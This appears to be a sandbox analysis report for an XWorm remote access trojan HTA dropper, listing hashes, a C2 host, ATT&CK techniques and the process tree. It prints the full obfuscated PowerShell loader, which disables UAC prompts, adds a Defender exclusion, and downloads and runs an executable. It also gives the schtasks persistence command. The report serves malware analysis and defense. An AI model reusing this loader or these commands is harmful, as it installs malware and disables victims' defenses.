xworm | 183a5a6477a06e439c82b04421d4424f7fc69694780cae4a87278d367753598a

General

Target

never.hta
Size

11KB
MD5

ea742132a205bf7b433598cb2a8fa3f5
SHA1

43a79f227c20901143be107f6922740acc54cf29
SHA256

183a5a6477a06e439c82b04421d4424f7fc69694780cae4a87278d367753598a
SHA512

3983d17c65890c9e5d52a2a486b97a7e3ffa3d5a9a81d25739ac33cfc0db9d68647d202d0c845183b4e6f019be398e6f3a339204e8f64e87a73327fb1d2553c4
SSDEEP

192:RxzslVZBh+kMufgTcPOGYhPE90KZEMx5DTmoRjtP/83anTnChFJkEFRhPSS:RWvMuYJOnTmoRtEKnTChISh6S

Score

10^/10

xworm defense_evasion discovery execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

C2

needforrat.hopto.org:7000

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000b0000000193a8-13.dat	family_xworm
behavioral1/memory/2728-17-0x0000000000F60000-0x0000000000F7A000-memory.dmp	family_xworm

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2700	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2700	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	2700	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\new.lnk	new.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\new.lnk	new.exe

Executes dropped EXE 2 IoCs

pid	Process
2728	new.exe
2904	new.exe

Loads dropped DLL 1 IoCs

pid	Process
2700	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\new = "C:\\Users\\Admin\\AppData\\Roaming\\new.exe"	new.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1736	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2700	powershell.exe
2700	powershell.exe
2700	powershell.exe
2728	new.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	2728	new.exe
Token: SeDebugPrivilege	2728	new.exe
Token: SeDebugPrivilege	2904	new.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2728	new.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1908 wrote to memory of 2700	1908	mshta.exe	30
PID 1908 wrote to memory of 2700	1908	mshta.exe	30
PID 1908 wrote to memory of 2700	1908	mshta.exe	30
PID 1908 wrote to memory of 2700	1908	mshta.exe	30
PID 2700 wrote to memory of 2728	2700	powershell.exe	32
PID 2700 wrote to memory of 2728	2700	powershell.exe	32
PID 2700 wrote to memory of 2728	2700	powershell.exe	32
PID 2700 wrote to memory of 2728	2700	powershell.exe	32
PID 2728 wrote to memory of 1736	2728	new.exe	33
PID 2728 wrote to memory of 1736	2728	new.exe	33
PID 2728 wrote to memory of 1736	2728	new.exe	33
PID 2424 wrote to memory of 2904	2424	taskeng.exe	36
PID 2424 wrote to memory of 2904	2424	taskeng.exe	36
PID 2424 wrote to memory of 2904	2424	taskeng.exe	36

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\never.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1908
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function mTxDUxaScYmr($LqgFFPWj, $lVgtUaSQwbRXQClp){[IO.File]::WriteAllBytes($LqgFFPWj, $lVgtUaSQwbRXQClp)};function zYuVqWK($LqgFFPWj){if($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43858,43866,43866))) -eq $True){rundll32.exe $LqgFFPWj }elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43870,43873,43807))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $LqgFFPWj}elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43867,43873,43863))) -eq $True){misexec /qn /i $LqgFFPWj}else{Start-Process $LqgFFPWj}};function ueJWAHPbJFrFhUAtPKf($zxfGsNthtwq){$TCvpArgzJufvl = New-Object (BuXuLXiijdTMRmDi @(43836,43859,43874,43804,43845,43859,43856,43825,43866,43863,43859,43868,43874));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$lVgtUaSQwbRXQClp = $TCvpArgzJufvl.DownloadData($zxfGsNthtwq);return $lVgtUaSQwbRXQClp};function BuXuLXiijdTMRmDi($GfcAO){$dZwGHElOYQ=43758;$IHZVeSlpJsUJNPA=$Null;foreach($kTBuzMksTQXtM in $GfcAO){$IHZVeSlpJsUJNPA+=[char]($kTBuzMksTQXtM-$dZwGHElOYQ)};return $IHZVeSlpJsUJNPA};function uqElSPqCUKRSUqTItU(){$MhGWljTYDYPGF = $env:AppData + '\';Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0;$FxRqYVoPEMaIQDGEmVIr=$env:AppData; Add-MpPreference -ExclusionPath $FxRqYVoPEMaIQDGEmVIr;$dalTxgqsQiNh = $MhGWljTYDYPGF + 'new.exe'; if (Test-Path -Path $dalTxgqsQiNh){zYuVqWK $dalTxgqsQiNh;}Else{ $ztEoJaUP = ueJWAHPbJFrFhUAtPKf (BuXuLXiijdTMRmDi @(43862,43874,43874,43870,43816,43805,43805,43808,43807,43806,43804,43811,43812,43804,43807,43809,43804,43807,43807,43810,43805,43868,43859,43877,43804,43859,43878,43859));mTxDUxaScYmr $dalTxgqsQiNh $ztEoJaUP;zYuVqWK $dalTxgqsQiNh;};;;;}uqElSPqCUKRSUqTItU;" uac
  2⤵
  - UAC bypass
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Users\Admin\AppData\Roaming\new.exe
    "C:\Users\Admin\AppData\Roaming\new.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "new" /tr "C:\Users\Admin\AppData\Roaming\new.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1736

C:\Windows\system32\taskeng.exe
taskeng.exe {D60E11B7-2CAC-4450-BDD0-BF5ECB5F2B2A} S-1-5-21-3551809350-4263495960-1443967649-1000:NNYJZAHP\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Users\Admin\AppData\Roaming\new.exe
  C:\Users\Admin\AppData\Roaming\new.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Roaming\new.exe

Filesize
75KB

MD5
4c2a997fa2661fbfe14db1233b16364c

SHA1
e48025dbd61de286e13b25b144bf4da5da62761a

SHA256
c2a299f988158d07a573a21621b00b1577b7c232f91c1442ba30d272e4414c5d

SHA512
529a26f4769c7be0986e16d8e0bf37632b7b723a3e8d9fa8bb3f9cc4d766bd4d24a802d6aa43fe4df85c23cd680b0188c7e1eaff443a30203b298ba916aa0a57

Download Submit
memory/2728-17-0x0000000000F60000-0x0000000000F7A000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads